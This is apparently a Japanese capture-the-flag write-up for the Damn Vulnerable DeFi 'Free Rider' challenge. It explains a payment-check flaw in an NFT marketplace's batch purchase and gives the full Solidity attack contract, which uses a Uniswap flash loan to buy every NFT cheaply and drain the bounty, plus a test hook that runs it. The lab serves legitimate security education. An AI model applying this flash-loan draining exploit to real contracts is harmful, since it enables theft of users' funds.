ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/10.html
問題の説明:
すでに公開されているダム貴重な NFT 取引市場があり、最初に 6 つの NFT がミントされ、取引市場で販売されており、販売価格は 15ETH です。
ある買い手があなたに秘密を教えてくれました:市場は脆弱で、すべてのトークンを奪うことができます。しかし、彼はどうやってそれをするのかわかりません。そのため、NFT を取り出して彼に送る人に 45ETH の報酬を提供することを望んでいます。
あなたはこの買い手のところで名声を築きたいと思っているので、この計画に同意しました。
残念ながら、あなたは 0.5ETH しか持っていません。どこかで無料で ETH を得ることができればいいのですが、一時的でも構いません。
FreeRiderBuyer.sol#
買い手コントラクト
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
// デプロイ時にこのコントラクトに45ethを転送
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// NFTを受け取ったときにトリガーされる関数
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // 取引の発起人がpartnerであることを確認
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 所有していることを確認
received++;
// 6つのNFTを受け取った後、45ethをpartnerに転送
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
このコントラクトは IERC721Receiver
を継承しており、NFT
コントラクトは ERC721
を継承しています。
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}
これは、NFT
コントラクトが safeTransferFrom
を呼び出し、to
アドレスがこのコントラクトである場合、onERC721Received
関数がトリガーされることを意味します。
safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
safeTransferFrom
内部では、to
がコントラクトアドレスであるかどうかを確認し、そうであれば onERC721Received
を呼び出します。
FreeRiderNFTMarketplace.sol#
取引コントラクトは ReentrancyGuard
を継承しており、再入攻撃を防ぐために使用されます。
コンストラクタでは、DamnValuableNFT
コントラクトを作成し、amountToMint
数量の NFT をコントラクトのデプロイ者にミントしました。
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "その数のトークンをミントすることはできません");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
このコントラクトは 2 つの機能を提供します。
- 一括販売
offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
// 入札が > 0 であることを確認
require(price > 0, "価格はゼロより大きくなければなりません");
// 売り手はそのNFTの所有者である必要があります
require(msg.sender == token.ownerOf(tokenId), "出品するアカウントは所有者でなければなりません");
// 承認されていることを確認
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"出品するアカウントは転送を承認している必要があります"
);
// 価格を記録
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
NFT
の保有者がこのメソッドを呼び出すと、いくつかの基本的な検証の他に、所有者が保有する NFT に対してこのコントラクトが操作できるように承認します。
最後に、入札を offers[tokenId]
に保存し、誰かが購入する際に、所有者がすでにこのコントラクトにその NFT を操作することを承認しているため、支払いを受け取った後、このコントラクトは直接所有者の NFT
を購入者に転送できます。
- 一括購入
buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
// 価格を取得
uint256 priceToPay = offers[tokenId];
// 入金された価格が販売価格以上であることを確認
require(priceToPay > 0, "トークンは出品されていません");
require(msg.value >= priceToPay, "支払額が不足しています");
amountOfOffers--;
// NFTを購入者に転送
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// 受け取ったETHを売り手に転送
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
売り手が取引コントラクト内でその保有する NFT を販売すると、買い手は購入プロセスを実行できます。まず価格を取得し、受け取った ETH
が販売価格以上であることを確認し、その後このコントラクトが売り手の保有する NFT を買い手に転送し、受け取った ETH
を売り手に転送します。
一括購入機能には明らかな問題があります。受け取った ETH
が販売価格以上であることを確認する際に require(msg.value >= priceToPay, "支払額が不足しています");
で確認しているのは単一の NFT
の価格であり、一括購入の総額ではありません。また、売り手に送金する際にはコントラクト内の残高が使用されます。
例えば、取引コントラクトが 100ETH
を保有していて、売り手がその保有する tokenId
1, 2, 3 の NFT
をそれぞれ 1ETH
, 5ETH
, 3ETH
で販売している場合、買い手が buyMany
を呼び出す際に支払うべき価格は 9ETH
ですが、実際には 5ETH
(購入価格が最も高い tokenId
の価格)を支払うだけで require
のチェックを満たすことができます。この時、取引コントラクトは合計で 105ETH
を保有しています。送金時、取引コントラクトは売り手に 9ETH
を転送しました。つまり、買い手が支払わなかった ETH
は取引コントラクトの残高から補填されました。
この問題では、NFT
の単価は 15ETH
であるため、6 つの NFT
を購入するには 15ETH
のみで済み、90ETH
ではありません。しかし、あなたは 0.5ETH
しか持っていません。したがって、ETH を得る方法を考えなければなりません。uniswap
のフラッシュローンを利用するのは良い方法です:
- フラッシュローンで
15WETH
を借りて、WETH
をETH
に交換します。 ETH
を使用してNFT
を購入し、購入した NFT をFreeRiderBuyer
に送信し、45ETH
の報酬を受け取ります。- 最後に
ETH
をWETH
に戻し、フラッシュローンの手数料を含めてフラッシュローンの借入金を返済します。
これらの操作は 1 つのトランザクションで完了する必要があるため、攻撃コントラクトを書く必要がありますが、その前にテストファイル free-rider.challenge.js
がどのような初期化を行っているかを確認します:
attacker
に0.5ETH
を送信- コントラクト
WETH
、DVT
、uniswapFactory
、uniswapRouter
をデプロイ uniswapRouter
コントラクトのメソッドaddLiquidityETH
を呼び出して流動性を追加し、このメソッド内部でペアコントラクトuniswapPair
が作成され、ペアの通貨はWETH-DVT
で、追加された流動性は9000WETH
と15000DVT
- コントラクト
FreeRiderNFTMarketplace
をデプロイし、90ETH
を転送。 NFT
コントラクトをデプロイ- 取引コントラクト内で
tokenId
0~5 のNFT
を販売するための売り注文を作成し、各価格は15ETH
- コントラクト
FreeRiderBuyer
をデプロイし、45ETH
を転送
攻撃コントラクトのコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;
IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);
pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);
attacker = msg.sender;
}
function attack(uint amount) external {
// ペアコントラクト: WETH-DVT
// uniswap フラッシュローンで amount 数量の WETH を借りる
// 注意: 最後のパラメータは空であってはいけません。そうでないとフラッシュローンのコールバックが実行されません
pair.swap(amount, 0, address(this), "x");
}
// uniswap フラッシュローンコールバック
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 借りた WETH を ETH に変換
weth.withdraw(amount0);
// 借りた15ETHを取引コントラクトに転送してtokenIdが0~5のNFTを購入
marketplace.buyMany{value: amount0}(tokenIds);
// 購入したNFTをbuyerに転送し、45 ETHを得る
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}
// フラッシュローンの返済に必要な手数料を計算し、返済分をwethに変換
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();
// フラッシュローンを返済
weth.transfer(address(pair), fee + amount0);
// 残りのETHをattackerに転送
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
テストファイル free-rider.challenge.js
に実行エントリを追加します。
it('Exploit', async function () {
const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})
最後に yarn free-rider
を実行してテストを通過させます!